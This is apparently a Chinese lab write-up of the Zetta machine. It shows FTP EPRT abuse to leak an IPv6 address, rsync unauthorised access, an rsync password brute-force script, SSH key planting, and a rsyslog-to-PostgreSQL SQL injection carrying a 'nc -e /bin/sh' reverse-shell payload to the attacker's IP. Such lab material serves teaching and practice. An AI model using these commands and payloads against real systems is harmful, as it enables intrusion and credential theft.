目錄
簡介
該主機也是有點難的，之前的難點都是在漏洞發現或權限提升處，而這次確實在信息收集處。通過端口掃描發現開放的端口，網站本身是靜態的，因此無法從網站進入主機，通過從網站中分析出目標主機FPT信息，結合IPv6和對FXP支持獲取到目標主機IPv6地址，然後掃描IPv6地址，發現僅在IPv6下運行的服務——Rsync，通過該服務獲取Shell進入主機，進而提升爲postgres用戶權限，然後利用明文信息本地保存結合社會工程學提升爲root權限。
信息收集
從端口與服務
使用nmap 10.10.10.156 -A -sC -p 0-65535對目標主機進行掃描，如圖：
發現開啓21，22，80端口，操作系統應該是Debian 10了。嘗試常見的ftp弱口令，如圖：
發現無法登錄成功，支持IPv6，不允許匿名訪問。嘗試Pure-FTPd存在的已知漏洞CVE-2014-6271，發現並不能執行命令，如圖：
從網站
然後訪問80端口，發現網站標題是Ze::a而不是Zetta，這或許是個提示吧，現在還不清楚是什麼，訪問的同時使用dirbruster掃描web目錄，如圖：
然而未發現有價值的信息，查看可訪問的js文件也未發現特別之處，瀏覽網站發現網站是靜態的，且頁面基本相同，如圖：
發現FTP支持FXP和RFC2428，和一些其它信息，在SHARING處發現不知道用什麼算法加密的用戶名和密碼信息，如圖：
看來十有八九是利用ftp獲取Shell了，嘗試使用base64解碼發現是亂碼，然後查看網頁源代碼，如圖：
原來用戶名和密碼都是隨機生成的32位字符串，嘗試使用網站生產的隨機字符串登錄，可以成功登錄，且支持FXP轉發，而每次打開網頁生成的隨機字符串都是不同的，但卻都可以登錄，這說明使用相同的32位的字符串就可以登錄ftp。如圖：
然而目錄下沒有任何文件，除了上傳文件沒有別的功能了。
IPv6和FXP
然後查看RFC2428如圖：
在IPv6中，FTP命令PORT和PASV分別被EPRT和EPSV取代，因此可以在連接到目標主機FTP服務後使用EPRT主動連接到客戶機端口。使用nc -6lvp 4444開啓IPv6的4444端口監聽，然後使用nc連接目標主機FTP服務，登錄之後執行EPRT |2|dead:beef:2::1042|4444|，接着執行LIST，如圖：
執行之後可以看到返回的目標主機IPv6地址，如圖：
也可以使用如下腳本獲取目標主機IPv6地址：
#!/usr/bin/python3
import socket
import os
lisn=os.popen("nc -6lvp 4444")
ip6=os.popen("ifconfig tun0 | grep 'inet6 dead'").read().strip()
ip6=ip6.split(' ')[1]
s=socket.socket()
s.connect(('10.10.10.156',21))
rcv=s.recv(1024)
if b"220" in rcv:
s.send("user aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n".encode())
#print(s.recv(1024).decode())
s.send("pass aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n".encode())
#print(s.recv(1024).decode())
s.send(("EPRT |2|"+ip6+"|4444|\n").encode())
#print(s.recv(1024).decode())
s.send(b"LIST\n")
#print(s.recv(1024).decode())
s.send(b"!\n")
s.close()
#print(lisn.read())
ip6_dst=lisn.read()
print("ip6:",ip6_dst)
然後使用nmap -A -6 dead:beef::250:56ff:feb9:3343掃描目標主機，如圖：
發現目標主機運行着rsync服務，可能存在未授權訪問漏洞。
漏洞發現
然後使用rsync --list-only rsync://[dead:beef::250:56ff:feb9:3343]:8730列出同步目錄，如圖：
它提示必須需要授權纔可以訪問rsync服務器，未授權的訪問需要負民事或者刑事責任（暗示可能存在未授權的訪問），查看列出來的目錄發現無權限訪問，但查看目標服務器/etc/passwd文件權限，如圖：
發現具有可讀權限，然後使用rsync rsync://[dead:beef::250:56ff:feb9:3343]:8730/etc/passwd passwd將文件轉儲到本地，使用cat passwd查看，如圖：
可以讀取到/etc/passwd文件中存在普通用戶roy，目標主機存在rsync未授權訪問漏洞。
漏洞利用
然後查看/etc下其他文件，在/etc/rsyncd.conf中發現如下信息：
發現一個目錄/home_roy，但是並未在之前的同步目錄中顯示，嘗試訪問需要登錄。然後使用常見的弱口令嘗試登錄rsync rsync://roy@[dead:beef::250:56ff:feb9:3343]:8730/home_roy，未成功。然後自行編寫Shell腳本進行暴力破解：
#!/bin/bash
cat /usr/share/wordlists/rockyou.txt | while read pass
do
export RSYNC_PASSWORD=${pass}
rsync rsync://roy@[dead:beef::250:56ff:feb9:229c]:8730/home_roy 2>&1 | grep -q "auth failed on module home_roy" || { echo -e "\033[;32;1m[+] Password: ${RSYNC_PASSWORD}\033[0m";break;}
done
執行之後等待一段時間，如圖：
成功破解出密碼，然後使用密碼查看home_roy下的文件，如圖：
然後將user.txt轉儲到本地即可，但對我來說沒獲得shell就是沒有成功。然後在本機生成ssh密鑰（全部都按回車），如圖：
然後將/root/.ssh/id_rsa和id_rsa.pub複製到/root目錄下，並將id_rsa.pub重命名爲authorized_keys，接着使用rsync authorized_keys rsync://roy@[dead:beef::250:56ff:feb9:3343]:8730/home_roy/.ssh/將authorized_keys文件同步到目標主機.ssh目錄下，然後查看是否存在，如圖：
接着使用ssh -i id_rsa [email protected]登錄目標主機，如圖：
成功獲得普通Shell。
權限提升
查看內核版本，如圖：
又是4.19.0版本，且沒有權限執行pkexec程序，因此無法使用CVE-2019-13272進行提權，而CVE-2019-8912沒有公開的EXP因此也無法利用。
然後查看開啓的端口，發現沒有netstat命令的權限，然後查看運行的進程，如圖：
運行的進程少的可憐，看來此路不通，繼續尋找線索。
信息收集
發現用戶目錄下存在.tudu.xml文件，然後執行tudu命令查看信息，如圖：
可以發現未啓用將同步文件移動到git，啓用了檢查postgresql錯誤日誌，未啓用Lynis和更安全的策略。使用find / -name .git 2>/dev/null查找.git目錄，如圖：
然後依次查看，在/etc/pure-ftpd/.git/logs/下發現HEAD文件，如圖：
嘗試使用濫用授權進行提權，未成功。以同樣的方法在/etc/nginx/.git/logs測試也未提權成功。但在/etc/rsyslog.d/.git/logs/下發現的HEAD文件可以獲得一些信息，如圖：
可以發現rsyslog使用數據庫Syslog，uid和pwd等信息。 然後使用git diff HEAD c98d292ac2981c0192a59d7cdad9d2d4a25bd4c5和HEAD文件比較一下，如圖：
發現一個日誌插入語句的模板，日誌輸入優先級local7.info，用戶名密碼和數據庫名稱信息。
漏洞發現
嘗試使用psql命令結合用戶名和密碼登錄數據庫未成功，查看postgresql版本，如圖：
看來不存在CVE-2019-9193漏洞。然後再次查看/etc/passwd文件發現postgre用戶在PostgreSQL administrator組，家目錄在/var/lib/postgresql，查看家目錄，如圖：
存在.ssh目錄，但沒有讀取權限。然後查看postgresql的日誌，如圖：
未發現有用的信息。然後嘗試寫入日誌，檢測是否存在SQL注入漏洞，如圖：
日誌文件未發生變化，然後嘗試多寫入一個單引號，如圖：
發現postgresql-11-main.log文件大小發生變化，查看日誌後可以發現插入數據表syslog_lines的SQL語句在“2020”附近報錯，說明存在SQL注入漏洞，且日誌文件過一段時間會自動清空。
漏洞利用
構造Payload：abcd',null)-- -測試是否可以閉合前邊的單引號和括號，如圖：
沒有產生新的內容，說明成功閉合單引號和括號。然後嘗試利用SQL注入執行命令反彈postgre用戶的shell，在本機開啓4444端口監聽，使用logger -p local7.info "abcd',null);CREATE TABLE IF NOT EXISTS cmd(string text);COPY cmd FROM PROGRAM 'nc -e /bin/sh 10.10.14.132 4444'; -- -"（由於網絡環境差，重新構建實驗室連接包後導致客戶端IP地址變爲10.10.14.132），如圖：
SQL語句沒有執行成功，“nc”附近的單引號被轉義導致報錯。使用Postgresql數據庫的特性——“$$”符號代替單引號，如圖：
發現shell將"$"識別爲變量了，然後加反斜槓轉義，如圖：
這次的報錯不是SQL語句了，而是不存在nc命令。然後將nc上傳到目標服務器/tmp目錄下在繼續執行，如圖：
還是顯示命令未發現，但查看/tmp目錄下確實是存在nc程序的，且有執行權限。嘗試使用bash反彈shell也無法成功，看來此路可能也不通，然後嘗試將/home/roy/.ssh/authorized_keys複製到/var/lib/postgresql/.ssh目錄下，如圖：
然後使用id_rsa連接遠程主機，如圖：
成功獲得postgres的shell，然後查看之前沒有權限的文件，如圖：
發現是創建數據庫的命令，且在最後一行有一串明文密碼，嘗試使用該密碼登錄，驗證失敗，然後仔細觀察ALTER語句，猜測root用戶的密碼爲sup3rs3cur3p4ass@root，然後使用該密碼成功登錄。
總結
對該靶機滲透的是有點困難的，主要是在信息收集和篩選上花費的時間較多。容易沒思路的地方主要在：
- IPv6和FXP相結合；
- 對roy用戶的暴力破解；
- 對git命令不熟悉
- rsyslog的SQL注入。
如果夠細心的話第一點應該沒有問題。一般我會先找漏洞，利用漏洞進入系統，而將暴力破解放到最後。對於第三點，那是真的沒辦法了，只能看WriteUp找思路了。如果第三點沒問題，那rsyslog的SQL注入漏洞也就不難找到了，但需要花很長時間去查看各種文件，然後篩選有可能直接提升權限或切換用戶的信息，進而提升爲root權限。